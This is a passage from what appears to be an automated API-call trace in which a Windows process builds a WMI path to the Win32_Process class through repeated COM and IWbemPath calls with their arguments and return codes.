[3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc40580) returned 0x0 [0136.990] WbemDefPath:IUnknown:AddRef (This=0x1bc40580) returned 0x3 [0136.990] WbemDefPath:IUnknown:Release (This=0x1bc40580) returned 0x2 [0136.990] WbemDefPath:IWbemPath:SetText (This=0x1bc40580, uMode=0x4, pszPath="") returned 0x0 [0136.990] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40580, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0136.990] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc404c0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0136.990] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc40580, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0136.990] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc40580, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0136.990] WbemDefPath:IWbemPath:SetServer (This=0x1bc40580, Name="Q9IATRKPRH") returned 0x0 [0136.990] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0136.990] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0136.990] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0136.991] IUnknown:Release (This=0x1a943398) returned 0x1 [0136.992] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc88650) returned 0x0 [0136.992] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc88650, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0136.992] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc88650, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc40640) returned 0x0 [0136.992] WbemDefPath:IUnknown:Release (This=0x1bc88650) returned 0x0 [0136.992] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40640, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc40640) returned 0x0 [0136.992] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40640, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0136.993] WbemDefPath:IUnknown:AddRef (This=0x1bc40640) returned 0x3 [0136.993] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40640, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0136.993] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40640, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0136.993] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40640, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc88690) returned 0x0 [0136.993] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc88690, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0136.993] WbemDefPath:IUnknown:Release (This=0x1bc88690) returned 0x3 [0136.993] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0136.993] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0136.993] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40640, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0136.993] WbemDefPath:IUnknown:Release (This=0x1bc40640) returned 0x2 [0136.993] WbemDefPath:IUnknown:Release (This=0x1bc40640) returned 0x1 [0136.993] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0136.993] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0136.993] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40640, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc40640) returned 0x0 [0136.993] WbemDefPath:IUnknown:AddRef (This=0x1bc40640) returned 0x3 [0136.993] WbemDefPath:IUnknown:Release (This=0x1bc40640) returned 0x2 [0136.993] WbemDefPath:IWbemPath:SetText (This=0x1bc40640, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0136.993] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40580, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0136.993] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40640, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0136.993] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40640, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0136.993] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40640, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0136.994] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc40580) returned 0x0 [0136.994] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40640, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0136.994] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc40640, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0136.994] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc40640, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0136.994] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc40580, uIndex=0x0, pszName="ROOT") returned 0x0 [0136.994] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc40640, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0136.994] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc40640, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0136.994] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc40580, uIndex=0x1, pszName="CIMV2") returned 0x0 [0136.994] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc40580, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0136.994] WbemDefPath:IWbemPath:SetClassName (This=0x1bc40580, Name="Win32_Process") returned 0x0 [0136.994] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc40580, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0136.994] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40580, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0136.994] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40580, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0136.994] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40580, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0136.994] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc40580, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0136.994] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40580, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0136.994] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40580, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0136.994] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40580, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0136.994] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40340, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0136.994] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40340, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0136.994] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40340, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0136.994] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40580, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0136.994] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40580, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0136.994] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0136.994] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0136.994] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0136.994] IUnknown:Release (This=0x1a943398) returned 0x1 [0136.996] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bc888f0) returned 0x0 [0136.996] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc888f0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0136.996] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc888f0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bc40700) returned 0x0 [0136.996] WbemDefPath:IUnknown:Release (This=0x1bc888f0) returned 0x0 [0136.996] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40700, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bc40700) returned 0x0 [0136.996] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40700, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0136.996] WbemDefPath:IUnknown:AddRef (This=0x1bc40700) returned 0x3 [0136.996] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40700, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0136.996] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40700, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0136.996] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40700, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bc88930) returned 0x0 [0136.996] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc88930, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0136.996] WbemDefPath:IUnknown:Release (This=0x1bc88930) returned 0x3 [0136.997] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0136.997] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0136.997] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40700, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0136.997] WbemDefPath:IUnknown:Release (This=0x1bc40700) returned 0x2 [0136.997] WbemDefPath:IUnknown:Release (This=0x1bc40700) returned 0x1 [0136.997] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0136.997] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0136.997] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40700, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bc40700) returned 0x0 [0136.997] WbemDefPath:IUnknown:AddRef (This=0x1bc40700) returned 0x3 [0136.997] WbemDefPath:IUnknown:Release (This=0x1bc40700) returned 0x2 [0136.997] WbemDefPath:IWbemPath:SetText (This=0x1bc40700, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0136.997] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40340, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0136.997] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40340, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0136.997] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40340, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.997] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0136.997] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0136.997] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0136.997] IUnknown:Release (This=0x1a943398) returned 0x1 [0136.999] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc88970) returned 0x0 [0136.999] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc88970, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0136.999] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc88970, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc407c0) returned 0x0 [0136.999] WbemDefPath:IUnknown:Release (This=0x1bc88970) returned 0x0 [0136.999] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc407c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc407c0) returned 0x0 [0136.999] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc407c0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0136.999] WbemDefPath:IUnknown:AddRef (This=0x1bc407c0) returned 0x3 [0136.999] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc407c0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0136.999] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc407c0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0136.999] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc407c0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc889b0) returned 0x0 [0136.999] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc889b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0136.999] WbemDefPath:IUnknown:Release (This=0x1bc889b0) returned 0x3 [0136.999] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0136.999] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0136.999] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc407c0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0136.999] WbemDefPath:IUnknown:Release (This=0x1bc407c0) returned 0x2 [0136.999] WbemDefPath:IUnknown:Release (This=0x1bc407c0) returned 0x1 [0136.999] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0136.999] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0137.000] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc407c0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc407c0) returned 0x0 [0137.000] WbemDefPath:IUnknown:AddRef (This=0x1bc407c0) returned 0x3 [0137.000] WbemDefPath:IUnknown:Release (This=0x1bc407c0) returned 0x2 [0137.000] WbemDefPath:IWbemPath:SetText (This=0x1bc407c0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0137.000] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40700, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0137.000] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc407c0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0137.000] WbemDefPath:IWbemPath:GetText (in: This=0x1bc407c0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0137.000] WbemDefPath:IWbemPath:GetText (in: This=0x1bc407c0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0137.000] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc40700) returned 0x0 [0137.000] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc407c0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0137.000] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc407c0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 